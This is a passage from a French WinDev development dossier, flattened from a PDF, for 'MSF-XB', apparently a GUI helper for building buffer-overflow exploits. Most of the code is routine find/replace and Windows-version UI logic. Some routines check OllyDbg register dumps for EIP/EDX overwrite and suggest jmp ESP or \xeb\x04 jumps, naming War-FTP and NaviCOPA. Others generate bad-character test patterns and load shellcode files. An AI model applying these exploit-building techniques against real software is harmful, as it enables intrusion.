// //On convertit la SCFindReplaceTXT.SAI_PATTERN en ASCII pour les tests de comparaison// sSCFindReplaceTXT.SAI_PATTERN_ASCII is string// nMonCompteur is int// pour nMonCompteur=1 à taille(SCFindReplaceTXT.SAI_PATTERN)// sSCFindReplaceTXT.SAI_PATTERN_ASCII+= asc(milieu(SCFindReplaceTXT.SAI_PATTERN,nMonCompteur,1))// FIN// info(sSCFindReplaceTXT.SAI_PATTERN_ASCII)

//On convertit la SCFindReplaceTXT.SAI_PATTERN en HEXA pour les tests de comparaisonSAI_PATTERN_HEXA is stringnMonCompteur is intPOUR nMonCompteur=1 A Taille(SCFindReplaceTXT.SAI_PATTERN)

//On convertit la valeur ASCII Asc() en HEXA avec NumeriqueVersChaine(ascii, "x")SAI_PATTERN_HEXA+= NumériqueVersChaîne( Asc(Milieu(SCFindReplaceTXT.SAI_PATTERN,nMonCompteur,1)) ,"x")

FIN

SI ChaîneOccurrence(SCFindReplaceTXT.SAI_PATTERN, "\x") >0 ALORSsSAI_PATTERN_HEXA2 is string= Remplace(SCFindReplaceTXT.SAI_PATTERN, "\x", "")

FIN

nNuFic=fOuvre("registers.txt",foLecture)sMachaine is string=fLitLigne(nNuFic)TANTQUE sMachaine<>EOT

//Si dans la fenêtre en bas à gauche de OllyDbg, la 1ère adresse correspond à une valeur d'un registre//ex: ESP, alors on utilise un opcode jmp ESP - call ESP - push ESP, ret pour sur-écrire EIP//NB: on utilisera la mêm adresse dans le registre sur-écrit (ex: EDX)

SELON Gauche(sMachaine, 4)CAS "EIP "

sValRegistre =NoSpace(Milieu(sMachaine, 4))

SI ChaîneOccurrence(SCFindReplaceTXT.SAI_PATTERN, sValRegistre)>0 OU ChaîneOccurrence(SAI_PATTERN_HEXA, sValRegistre)>0 OU ChaîneOccurrence(sSAI_PATTERN_HEXA2, sValRegistre)>0 ALORS

//La valeur du registre EIP est contenue dans la pattern :-)//message("EIP est sur-écrit: on va utiliser un opcode de type jmp ESP") //jmp ESP - call ESP - push ESP, retSAI_Analyse+="EIP est sur-écrit: on va utiliser un opcode de type jmp ESP" +RC+RC//Exemple: War-FTP

FINCAS "EDX "

sValRegistre =NoSpace(Milieu(sMachaine, 4))SI ChaîneOccurrence(SCFindReplaceTXT.SAI_PATTERN, sValRegistre)>0 OU ChaîneOccurrence(SAI_PATTERN_HEXA, sValRegistre)

Page 678: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 683

>0 OU ChaîneOccurrence(sSAI_PATTERN_HEXA2, sValRegistre)>0 ALORS//La valeur du registre EIP est contenue dans la pattern :-)//Message("EDX est sur-écrit: on va changer la dernière instruction ASM") //SAI_Analyse+="EDX est sur-écrit: on va changer la dernière instruction ASM" +RC+RC//Exemple: NaviCOPA HTTP, voir vidéo Writing_Reliable_Exploits_I// Si: CMP DWORD PTR DS:[EDX], 0// Alors on change EDX en: 0042F000 DANS OLLYDBG EIP sera ensuite sur-écrit//c'est l'adresse en haut à gauche dans le cadre bas-gauche dans OllyDbg au moment du bug// contient "Borland"//...//Pour faire un saut au dessus de EDX, on utilise le code ASM:// \xeb\x04

FINFINsMachaine=fLitLigne(nNuFic)

FINfFerme(nNuFic)fSupprime("registers.txt")

SINONMessage("Pattern vide")

FINFIN

Déclarations globales de SC_RechercherRemplacerTXT// Ce super champ permet de rechercher et/ou remplacer un mot ou une expression dans le texte contenu dans un champ de saisie.// La recherche se fait à l’aide de la fonction « Position() » avec deux nouvelles options : SansCasse et MotComplet.// Le remplacement de tous les mots dans un texte utilise la fonction « Remplace() » qui accepte les deux paramètres// SansCasse et MotComplet.//// Ce super champ est composé de 9 champs:// -> deux champs de saisie : un permettant de saisir le mot à rechercher, l’autre pour saisir le mot de remplacement// -> deux cases à cocher : ce sont les options de recherche dans le texte (avec ou sans respect de la casse// (majuscule/minuscule), recherche d’un mot complet// -> un champ de saisie qui est multilignes// -> 3 boutons : // -> un bouton « Suivant » qui permet de sélectionner dans le texte le mot recherché// -> un bouton « Remplacer » qui remplace un mot dans le texte// -> un bouton « Remplacer tout» qui remplace tous les mots dans le texte

Clic sur BTN_Remplacer ( SC_RechercherRemplacerTXT )

Page 679: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 684

// Remplacer un mot ou une expressionRemplacerTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode2)

Clic sur BTN_RemplacerTout ( SC_RechercherRemplacerTXT )// Remplacer un mot ou une expressionRemplacerToutTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode2)

Clic sur BTN_Suivant ( SC_RechercherRemplacerTXT )// Rechercher un mot ou une expressionRechercherTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode2)

A chaque modification de SAI_RECHERCHE ( SC_RechercherRemplacerTXT )SI SAI_RECHERCHE = "" ALORS

BTN_Suivant..Etat = GriséBTN_Remplacer..Etat = GriséBTN_RemplacerTout..Etat = Grisé

SINONBTN_Suivant..Etat = Actif

// si SAI_REMPLACE <> "" alorsBTN_Remplacer..Etat = ActifBTN_RemplacerTout..Etat = Actif

// FINFIN

A chaque modification de SAI_REMPLACE ( SC_RechercherRemplacerTXT )SI SAI_REMPLACE = "" ALORS

BTN_Remplacer..Etat = GriséBTN_RemplacerTout..Etat = Grisé

SINONBTN_Remplacer..Etat = ActifBTN_RemplacerTout..Etat = Actif

Page 680: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 685

FIN

A chaque modification de SAI_Shellcode2 ( SC_RechercherRemplacerTXT )SI SAI_Shellcode2 <> "" ALORS

// Dégriser les champsSAI_RECHERCHE..Etat = ActifSAI_REMPLACE..Etat = ActifINT_CASSE..Etat = ActifINT_MOTCOMPLET..Etat = Actif

SINON// Griser les champsSAI_RECHERCHE..Etat = GriséSAI_REMPLACE..Etat = GriséINT_CASSE..Etat = GriséINT_MOTCOMPLET..Etat = Grisé

FIN

Déclarations globales de SC_RechercherRemplacerTXT1// Ce super champ permet de rechercher et/ou remplacer un mot ou une expression dans le texte contenu dans un champ de saisie.// La recherche se fait à l’aide de la fonction « Position() » avec deux nouvelles options : SansCasse et MotComplet.// Le remplacement de tous les mots dans un texte utilise la fonction « Remplace() » qui accepte les deux paramètres// SansCasse et MotComplet.//// Ce super champ est composé de 9 champs:// -> deux champs de saisie : un permettant de saisir le mot à rechercher, l’autre pour saisir le mot de remplacement// -> deux cases à cocher : ce sont les options de recherche dans le texte (avec ou sans respect de la casse// (majuscule/minuscule), recherche d’un mot complet// -> un champ de saisie qui est multilignes// -> 3 boutons : // -> un bouton « Suivant » qui permet de sélectionner dans le texte le mot recherché// -> un bouton « Remplacer » qui remplace un mot dans le texte// -> un bouton « Remplacer tout» qui remplace tous les mots dans le texte

Clic sur BTN_Remplacer ( SC_RechercherRemplacerTXT1 )// Remplacer un mot ou une expressionRemplacerTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode)

Clic sur BTN_RemplacerTout ( SC_RechercherRemplacerTXT1 )

Page 681: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 686

// Remplacer un mot ou une expressionRemplacerToutTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode)

Clic sur BTN_Suivant ( SC_RechercherRemplacerTXT1 )// Rechercher un mot ou une expressionRechercherTexte()

// Donner le focus au champ de saisieEcranPremier(SAI_Shellcode)

A chaque modification de SAI_RECHERCHE ( SC_RechercherRemplacerTXT1 )SI SAI_RECHERCHE = "" ALORS

BTN_Suivant..Etat = GriséBTN_Remplacer..Etat = GriséBTN_RemplacerTout..Etat = Grisé

SINONBTN_Suivant..Etat = Actif

// si SAI_REMPLACE <> "" alorsBTN_Remplacer..Etat = ActifBTN_RemplacerTout..Etat = Actif

// FINFIN

A chaque modification de SAI_REMPLACE ( SC_RechercherRemplacerTXT1 )SI SAI_REMPLACE = "" ALORS

BTN_Remplacer..Etat = GriséBTN_RemplacerTout..Etat = Grisé

SINONBTN_Remplacer..Etat = ActifBTN_RemplacerTout..Etat = Actif

FIN

A chaque modification de SAI_Shellcode ( SC_RechercherRemplacerTXT1 )SI SAI_Shellcode <> "" ALORS

// Dégriser les champsSAI_RECHERCHE..Etat = ActifSAI_REMPLACE..Etat = Actif

Page 682: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 687

INT_CASSE..Etat = ActifINT_MOTCOMPLET..Etat = Actif

SINON// Griser les champsSAI_RECHERCHE..Etat = GriséSAI_REMPLACE..Etat = GriséINT_CASSE..Etat = GriséINT_MOTCOMPLET..Etat = Grisé

FIN

Récupération de la propriété ..Valeur de SC_SelecteurPayload

RENVOYER sai_fic

Clic sur BTN_SEL ( SC_SelecteurPayload )sSel est une chaînesSel = fSélecteur(SAI_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAI_FIC = sselMonParent = SAI_FIC

FIN

sCodeBrut is string= fChargeTexte(sai_fic)// si ChaîneOccurrence(scodebrut, RC)=0 alors// sCodeBrut=remplace(sCodeBrut, caract(10), RC) //On remplace les LF// FINSC_RechercherRemplacerTXT.SAI_Shellcode2= sCodeBrut

//!!! Pour l'instant trop lent// SI Droite(Upper(SC_SelecteurPayload.SAI_FIC), 3) =".RB" ALORS// fctInfoPayload()// fin

Exécute("SC_RechercherRemplacerTXT.SAI_Shellcode2..Modifie")

Sortie de SAI_FIC ( SC_SelecteurPayload )MonParent = SAI_FIC

Récupération de la propriété ..Valeur de SC_SelecteurShellcode

Page 683: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 688

RENVOYER sai_fic

Clic sur BTN_SEL ( SC_SelecteurShellcode )sSel est une chaînesSel = fSélecteur(SAI_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAI_FIC = sselMonParent = SAI_FIC

FIN

sCodeBrut is string= fChargeTexte(sai_fic)SI ChaîneOccurrence(scodebrut, RC)=0 ALORS

sCodeBrut=Remplace(sCodeBrut, Caract(10), RC) //On remplace les LFFINSC_RechercherRemplacerTXT1.SAI_Shellcode= sCodeBrut

Exécute("SC_RechercherRemplacerTXT1.SAI_Shellcode..Modifie")

Sortie de SAI_FIC ( SC_SelecteurShellcode )MonParent = SAI_FIC

Déclarations globales de SCFindReplaceTXT// This supercontrol is used to find and/or replace a word or an expression in a RTF edit control.// Position() and Replace() are used to find and replace// a word or an expression// (using IgnoreCase and WholeWord).//// This supercontrol contains 9 controls:// -> two RTF edit controls: one for searching and one for replacing// -> two check boxes// (for IgnoreCase and WholeWord)// -> a multiline edit control// -> 4 buttons: // -> a "Cancel" button// -> a "Next" button// -> a "Replace" button// -> a "Replace All" button

Clic sur BTN_RetrouveBadchars ( SCFindReplaceTXT )nCptASCII is int

Page 684: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 689

sTest is string//pour ncptascii=35 à 255POUR nCptASCII=1 A 128

//SAI_PATTERN+=caract(nCptASCII)SI nCptASCII<16 ALORS

sTest="\x0" + NumériqueVersChaîne(nCptASCII,"x")SINON

sTest="\x" + NumériqueVersChaîne(nCptASCII,"x")FINSI ChaîneOccurrence(SCFindReplaceTXT.SAI_PATTERN, sTest)=0 ALORS// info(sTest+" non présent")

PAYLOAD_BADCHARS+=sTestFIN

FIN

Clic sur BTN_TEST_BADCHARS ( SCFindReplaceTXT )//On remplit SAI_PATTERN avec la table ASCII

//SAI_PATTERN=" !\"+caract(34) //ASCII: 32,33 et 34// chr(code_ascii)// \x20 HEXA

SCFindReplaceTXT.SAI_PATTERN=""nCptASCII is int//pour ncptascii=35 à 255POUR nCptASCII=1 A 255

//SAI_PATTERN+=caract(nCptASCII)SI nCptASCII<16 ALORS

SCFindReplaceTXT.SAI_PATTERN+="\x0" + NumériqueVersChaîne(nCptASCII,"x")SINON

SCFindReplaceTXT.SAI_PATTERN+="\x" + NumériqueVersChaîne(nCptASCII,"x")FIN

FINPOUR nCptASCII=97 A 122

SCFindReplaceTXT.SAI_PATTERN+="\x" + NumériqueVersChaîne(nCptASCII,"x")FIN

SCFindReplaceTXT.SAI_PATTERN+=SCFindReplaceTXT.SAI_PATTERNSCFindReplaceTXT.SAI_PATTERN+=SCFindReplaceTXT.SAI_PATTERNSCFindReplaceTXT.SAI_PATTERN+=SCFindReplaceTXT.SAI_PATTERNSCFindReplaceTXT.SAI_PATTERN+=SCFindReplaceTXT.SAI_PATTERN

//On vire tous les badcharsnCptASCII=1

Page 685: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 690

TANTQUE Milieu(PAYLOAD_BADCHARS,nCptASCII,4)<>""SCFindReplaceTXT.SAI_PATTERN=Remplace(SCFindReplaceTXT.SAI_PATTERN,Milieu(PAYLOAD_BADCHARS,nCptASCII,4),"")nCptASCII+=4

FIN

//Puis on appelle BTN_TESTExécute("BTN_TEST..clic")

Clic sur BtnNext ( SCFindReplaceTXT )// Find a word or an expressionFindText()

// Give the focus to the controlScreenFirst(SAI_PATTERN)

Clic sur BtnReplace ( SCFindReplaceTXT )// Replace a word or an expressionReplaceText()

// Give the focus to the controlScreenFirst(SAI_PATTERN)

Clic sur BtnReplaceAll ( SCFindReplaceTXT )// Replace a word or an expressionReplaceAllText()

// Give the focus to the controlScreenFirst(SAI_PATTERN)

Clic sur BtnReplaceAll1 ( SCFindReplaceTXT )SAI_PATTERN=Replace(SAI_PATTERN, "shellcode = ", "")SAI_PATTERN=Replace(SAI_PATTERN, "shellcode =", "")SAI_PATTERN=Replace(SAI_PATTERN, "shellcode = ", "")SAI_PATTERN=Replace(SAI_PATTERN, "shellcode =", "")SAI_PATTERN=Replace(SAI_PATTERN, "shellcode += ", "")SAI_PATTERN=Replace(SAI_PATTERN, "shellcode +=", "")SAI_PATTERN=Replace(SAI_PATTERN, Caract(34)+"."+RC, "")SAI_PATTERN=Replace(SAI_PATTERN, Caract(34)+".", "")SAI_PATTERN=Replace(SAI_PATTERN, Caract(34), "")SAI_PATTERN=Replace(SAI_PATTERN, ";"+RC, "")

Page 686: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 691

SAI_PATTERN=Replace(SAI_PATTERN, ";", "")SAI_PATTERN=Replace(SAI_PATTERN, RC, "")

ExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification) //Recalcule la taille de la pattern...

A chaque modification de EDIT_FIND ( SCFindReplaceTXT )IF EDIT_FIND = "" THEN

BtnNext..State = GrayedBtnReplace..State = GrayedBtnReplaceAll..State = Grayed

ELSEBtnNext..State = Active

// IF EDIT_REPLACE <> "" THENBtnReplace..State = ActiveBtnReplaceAll..State = Active

// ENDEND

A chaque modification de EDIT_REPLACE ( SCFindReplaceTXT )IF EDIT_REPLACE = "" THEN

BtnReplace..State = GrayedBtnReplaceAll..State = Grayed

ELSEBtnReplace..State = ActiveBtnReplaceAll..State = Active

END

A chaque modification de SAI_PATTERN ( SCFindReplaceTXT )IF MoiMême <> "" THEN

LIB_Taille_Pattern=Taille(MoiMême)LIB_Taille_Pattern2="/2="+ Arrondi(Taille(MoiMême)/2, 2)LIB_Taille_Pattern3="/3="+ Arrondi(Taille(MoiMême)/3, 2)LIB_Taille_Pattern4="/4="+ Arrondi(Taille(MoiMême)/4, 2)LIB_Taille_Pattern5="/5="+ Arrondi(Taille(MoiMême)/5, 2)LIB_Taille_Pattern6="/6="+ Arrondi(Taille(MoiMême)/6, 2)// Ungray controlsEDIT_FIND..State = ActiveEDIT_REPLACE..State = ActiveChCaseSensitive..State = ActiveChFullWord..State = Active

Page 687: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 692

ELSE// Gray controlsEDIT_FIND..State = GrayedEDIT_REPLACE..State = GrayedChCaseSensitive..State = GrayedChFullWord..State = Grayed

END

Déclarations globales de SCSystème// Ce super champ permet de connaître le nom du système d'exploitation sur le poste en cours.//// Il est composé d'un champ combo contenant différents noms de système d'exploitation. Il permet de rechercher le // système d'exploitation du poste en cours (connu grâce à la fonction SysVersionWinows()) et de le sélectionner par // programmation dans la combo.

Initialisation de SCSystèmesVersionOS est une chaîne = ""sVersionXP est une chaîne = ""nIndice est un entier = 0

// Récupérer la version de WindowssVersionOS = SysVersionWindows()

SI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK")>0 ALORSSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 1")>0 ALORS

COMBO_OSSP=3FINSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 2")>0 ALORS

COMBO_OSSP=4FINSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 3")>0 ALORS

COMBO_OSSP=5FINSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 4")>0 ALORS

COMBO_OSSP=6FINSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 5")>0 ALORS

COMBO_OSSP=7FINSI ChaîneOccurrence(Upper(SysVersionWindows(sysVersionInfo)), "SERVICE PACK 6")>0 ALORS

COMBO_OSSP=8FIN

FIN

Page 688: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 693

SI sVersionOS = "" ALORS Erreur("La version de Windows installée sur votre poste n'a pas pu être déterminée.")RETOUR

FIN

// Rechercher la version du système d'exploitation dans la comboSELON sVersionOS

CAS "32s" : nindice = ListeCherche(ComboSystème, "Windows 3.1")CAS "95" : nindice = ListeCherche(ComboSystème, "Windows 95")CAS "98" : nindice = ListeCherche(ComboSystème, "Windows 98")CAS "ME" : nindice = ListeCherche(ComboSystème, "Windows ME")CAS "NT 4" : nindice = ListeCherche(ComboSystème, "Windows NT4")CAS "NT 5" : nindice = ListeCherche(ComboSystème, "Windows 2000")CAS "XP" :

// Récupérer le type de XP (Pro ou familial)sVersionXP = SysVersionWindows(sysVersionInfo)SI Position(sVersionXP, "Pro")>0 ALORS

nindice = ListeCherche(ComboSystème, "Windows XP Pro")SINON

nindice = ListeCherche(ComboSystème, "Windows XP familial")FIN

CAS "2003S" : nindice = ListeCherche(ComboSystème, "Windows 2003 Serveur")FIN

SI nindice = -1 ALORSErreur("Le système d'exploitation n'a pas été trouvé.")ListeInsère(combosystème, "", 1)nindice = 1

FIN

// Sélectionner le système dans la comboListeSelectPlus(ComboSystème, nindice)

Initialisation de TABLE_DLL_MEMOIREMoiMême..MenuContextuel = "+MENU_MemDump"

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 689: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 695

MSFXB_Assistant Procédures

Procédure locale RechercherTexte ( SC_RechercherRemplacerTXT )PROCEDURE RechercherTexte()// Procédure qui permet de rechercher dans un texte un mot ou une expression

nTypeRecherche est un entiernPositionTrouvé est un entier

SI SAI_Shellcode2="" OU SAI_RECHERCHE="" ALORS RETOUR

// Si la recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// Si la recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode2, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))// Remettre le curseur au débutSAI_Shellcode2..Curseur = 1RETOUR

FIN

// Rechercher le mot ou l'expression dans le textenPositionTrouvé = Position(SAI_Shellcode2, SAI_RECHERCHE, SAI_Shellcode2..FinCurseur, nTypeRecherche)SI nPositionTrouve > 0 ALORS

// Sélectionner le mot trouvéSAI_Shellcode2..Curseur = npositiontrouveSAI_Shellcode2..FinCurseur = npositiontrouve + Taille(SAI_RECHERCHE)

SINONInfo("La recherche est terminée.")// Remettre le curseur au débutSAI_Shellcode2..Curseur = 1

FIN

Procédure locale RemplacerTexte ( SC_RechercherRemplacerTXT )

Page 690: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 696

PROCEDURE RemplacerTexte()// Procédure qui permet de rechercher et de remplacer un mot ou une expression dans un texte

nTypeRecherche est un entiernPositionTrouvé est un entier

SI SAI_Shellcode2="" OU SAI_RECHERCHE="" ALORS RETOUR

// Si la recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// Si la recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode2, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))// Remettre le curseur au débutSAI_Shellcode2..Curseur = 1RETOUR

FIN

// Rechercher le mot dans le textenPositionTrouvé = Position(SAI_Shellcode2, SAI_RECHERCHE, SAI_Shellcode2..FinCurseur, nTypeRecherche)

SI nPositionTrouvé > 0 ALORS// Reconstruire la chaîne avec la modificationSAI_Shellcode2 = SAI_Shellcode2[[1 A nPositionTrouvé-1]] + SAI_REMPLACE + SAI_Shellcode2[[nPositionTrouvé + Taille(SAI_RECHERCHE) A]]

// Sélectionner le mot trouvéSAI_Shellcode2..Curseur = nPositionTrouvéSAI_Shellcode2..FinCurseur = nPositionTrouvé + Taille(SAI_REMPLACE)

SINONInfo("Le remplacement est terminé.")// Remettre le curseur au débutSAI_Shellcode2..Curseur = 1

FIN

Procédure locale RemplacerToutTexte ( SC_RechercherRemplacerTXT )PROCEDURE RemplacerToutTexte()// Procédure qui permet de rechercher et de remplacer un mot ou une expression dans un texte

nTypeRecherche est un entier

Page 691: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 697

SI SAI_Shellcode2="" OU SAI_RECHERCHE="" ALORS RETOUR

// La recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// La recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode2, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))RETOUR

FIN

// Remplacer le mot ou l'expression dans le texteSAI_Shellcode2 = Remplace(SAI_Shellcode2, SAI_RECHERCHE, SAI_REMPLACE, nTypeRecherche)

Info("Le remplacement est terminé.")

// Remettre le curseur au débutSAI_Shellcode2..Curseur = 1

Procédure locale RechercherTexte ( SC_RechercherRemplacerTXT1 )PROCEDURE RechercherTexte()// Procédure qui permet de rechercher dans un texte un mot ou une expression

nTypeRecherche est un entiernPositionTrouvé est un entier

SI SAI_Shellcode="" OU SAI_RECHERCHE="" ALORS RETOUR

// Si la recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// Si la recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))// Remettre le curseur au débutSAI_Shellcode..Curseur = 1RETOUR

FIN

Page 692: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 698

// Rechercher le mot ou l'expression dans le textenPositionTrouvé = Position(SAI_Shellcode, SAI_RECHERCHE, SAI_Shellcode..FinCurseur, nTypeRecherche)SI nPositionTrouve > 0 ALORS

// Sélectionner le mot trouvéSAI_Shellcode..Curseur = npositiontrouveSAI_Shellcode..FinCurseur = npositiontrouve + Taille(SAI_RECHERCHE)

SINONInfo("La recherche est terminée.")// Remettre le curseur au débutSAI_Shellcode..Curseur = 1

FIN

Procédure locale RemplacerTexte ( SC_RechercherRemplacerTXT1 )PROCEDURE RemplacerTexte()// Procédure qui permet de rechercher et de remplacer un mot ou une expression dans un texte

nTypeRecherche est un entiernPositionTrouvé est un entier

SI SAI_Shellcode="" OU SAI_RECHERCHE="" ALORS RETOUR

// Si la recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// Si la recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))// Remettre le curseur au débutSAI_Shellcode..Curseur = 1RETOUR

FIN

// Rechercher le mot dans le textenPositionTrouvé = Position(SAI_Shellcode, SAI_RECHERCHE, SAI_Shellcode..FinCurseur, nTypeRecherche)

SI nPositionTrouvé > 0 ALORS// Reconstruire la chaîne avec la modificationSAI_Shellcode = SAI_Shellcode[[1 A nPositionTrouvé-1]] + SAI_REMPLACE + SAI_Shellcode[[nPositionTrouvé + Taille(SAI_RECHERCHE) A]]

// Sélectionner le mot trouvéSAI_Shellcode..Curseur = nPositionTrouvéSAI_Shellcode..FinCurseur = nPositionTrouvé + Taille(SAI_REMPLACE)

Page 693: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 699

SINONInfo("Le remplacement est terminé.")// Remettre le curseur au débutSAI_Shellcode..Curseur = 1

FIN

Procédure locale RemplacerToutTexte ( SC_RechercherRemplacerTXT1 )PROCEDURE RemplacerToutTexte()// Procédure qui permet de rechercher et de remplacer un mot ou une expression dans un texte

nTypeRecherche est un entier

SI SAI_Shellcode="" OU SAI_RECHERCHE="" ALORS RETOUR

// La recherche se fait sans respect de la casseSI INT_CASSE = Faux ALORS nTypeRecherche = SansCasse

// La recherche se fait sur un mot completSI INT_MOTCOMPLET = Vrai ALORS nTypeRecherche += MotComplet

// Vérification de la présence du mot recherchéSI ChaîneOccurrence(SAI_Shellcode, SAI_RECHERCHE, nTypeRecherche) = 0 ALORS

Info(ChaîneConstruit("Aucune occurrence du mot '%1' n'a été trouvée dans le texte.", SAI_RECHERCHE))RETOUR

FIN

// Remplacer le mot ou l'expression dans le texteSAI_Shellcode = Remplace(SAI_Shellcode, SAI_RECHERCHE, SAI_REMPLACE, nTypeRecherche)

Info("Le remplacement est terminé.")

// Remettre le curseur au débutSAI_Shellcode..Curseur = 1

Procédure locale FindText ( SCFindReplaceTXT )PROCEDURE FindText()// Procedure used to find a word or an expression in a text

nSearchType is intnPositionFind is int

IF SAI_PATTERN="" OR edit_FIND="" THEN RETURN

Page 694: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 700

